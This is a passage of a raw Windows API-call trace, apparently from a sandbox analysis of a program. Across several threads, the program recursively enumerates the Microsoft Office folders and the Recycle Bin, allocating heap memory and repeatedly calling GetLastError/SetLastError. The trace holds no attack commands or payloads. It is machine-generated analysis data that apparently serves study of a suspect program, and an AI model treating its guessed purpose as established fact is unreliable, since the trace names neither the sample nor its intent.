ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.395] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUB60COR", cAlternateFileName="")) returned 1 [0274.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0274.495] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7090d6b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.495] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54952c00, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54952c00, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2340, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00004_.GIF", cAlternateFileName="")) returned 1 [0274.920] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0274.991] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0274.991] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0274.991] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*", lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806c58 [0275.002] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.002] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1 [0275.004] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806d98 [0275.046] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.046] FindNextFileW (in: hFindFile=0x806d98, lpFindFileData=0x385ed10 | out: lpFindFileData=0x385ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0275.046] FindClose (in: hFindFile=0x806d98 | out: hFindFile=0x806d98) returned 1 [0275.047] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x356c8f0 | out: hHeap=0x1c0000) returned 1 [0275.047] FindNextFileW (in: hFindFile=0x806c58, lpFindFileData=0x385ef94 | out: lpFindFileData=0x385ef94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0 [0275.047] FindClose (in: hFindFile=0x806c58 | out: hFindFile=0x806c58) returned 1 [0275.047] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42c00a0 | out: hHeap=0x1c0000) returned 1 [0275.048] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0 [0275.048] FindClose (in: hFindFile=0x806b98 | out: hFindFile=0x806b98) returned 1 [0275.048] HeapFree (in: hHeap=0x1c0000, dwFlags=0x0, lpMem=0x42b0098 | out: hHeap=0x1c0000) returned 1 [0275.049] FindNextFileW (in: hFindFile=0x806c18, lpFindFileData=0x385f49c | out: lpFindFileData=0x385f49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes 14", cAlternateFileName="DOCUME~1")) returned 1 [0275.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0275.139] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0275.192] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x385f218 | out: lpFindFileData=0x385f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1 Thread: id = 100 os_tid = 0x6bc [0272.332] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x38) returned 0x1c7630 [0272.332] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x18) returned 0x1c7670 [0272.332] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d0 [0272.332] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d4 [0272.332] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x2d8 [0272.332] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x350c8c0 [0272.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1173a08, lpParameter=0x3a0f90c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0272.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x1, lpStartAddress=0x1173a08, lpParameter=0x3a0f90c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0272.367] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x354c8e0 [0272.367] FindFirstFileW (in: lpFileName="\\\\?\\C:\\*", lpFindFileData=0x3a0f680 | out: lpFindFileData=0x3a0f680*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x806b18 [0272.368] GetLastError () returned 0x0 [0272.368] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x8, Size=0x214) returned 0x1cd8e8 [0272.368] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75bd0000 [0272.368] GetCurrentThreadId () returned 0x6bc [0272.368] SetLastError (dwErrCode=0x0) [0272.368] GetLastError () returned 0x0 [0272.368] SetLastError (dwErrCode=0x0) [0272.369] GetLastError () returned 0x0 [0272.369] SetLastError (dwErrCode=0x0) [0272.369] GetLastError () returned 0x0 [0272.369] SetLastError (dwErrCode=0x0) [0272.369] GetLastError () returned 0x0 [0272.369] SetLastError (dwErrCode=0x0) [0272.369] GetLastError () returned 0x0 [0272.369] SetLastError (dwErrCode=0x0) [0272.369] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x355c8e8 [0272.369] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName=".", cAlternateFileName="")) returned 0x806b58 [0272.370] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="..", cAlternateFileName="")) returned 1 [0272.370] FindNextFileW (in: hFindFile=0x806b58, lpFindFileData=0x3a0f3fc | out: lpFindFileData=0x3a0f3fc*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x44, dwReserved1=0x44, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0272.370] GetLastError () returned 0x0 [0272.370] SetLastError (dwErrCode=0x0) [0272.370] GetLastError () returned 0x0 [0272.370] SetLastError (dwErrCode=0x0) [0272.370] GetLastError () returned 0x0 [0272.370] SetLastError (dwErrCode=0x0) [0272.370] GetLastError () returned 0x0 [0272.370] SetLastError (dwErrCode=0x0) [0272.370] GetLastError () returned 0x0 [0272.370] SetLastError (dwErrCode=0x0) [0272.370] RtlAllocateHeap (HeapHandle=0x1c0000, Flags=0x0, Size=0x10000) returned 0x356c8f0 [0272.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c0000, dwReserved1=0x842fe8, cFileName=".", cAlternateFileName="")) returned 0x806b98 [0272.371] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c0000, dwReserved1=0x842fe8, cFileName="..", cAlternateFileName="")) returned 1 [0272.371] FindNextFileW (in: hFindFile=0x806b98, lpFindFileData=0x3a0f178 | out: lpFindFileData=0x3a0f178*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4c26f720, ftCreationTime.dwHighDateTime=0x1d52d08, ftLastAccessTime.dwLowDateTime=0x4c26f720, ftLastAccessTime.dwHighDateTime=0x1d52d08, ftLastWriteTime.dwLowDateTime=0x4c26f720, ftLastWriteTime.dwHighDateTime=0x1d52d08, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x7c0000, dwReserved1=0x842fe8, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.371] SetLastError (dwErrCode=0x0) [0272.371] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.372] SetLastError (dwErrCode=0x0) [0272.372] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.373] GetLastError () returned 0x0 [0272.373] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.374] SetLastError (dwErrCode=0x0) [0272.374] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.375] GetLastError () returned 0x0 [0272.375] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.376] SetLastError (dwErrCode=0x0) [0272.376] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.377] SetLastError (dwErrCode=0x0) [0272.377] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.378] GetLastError () returned 0x0 [0272.378] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.379] SetLastError (dwErrCode=0x0) [0272.379] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.380] GetLastError () returned 0x0 [0272.380] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.381] SetLastError (dwErrCode=0x0) [0272.381] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] GetLastError () returned 0x0 [0272.382] SetLastError (dwErrCode=0x0) [0272.382] 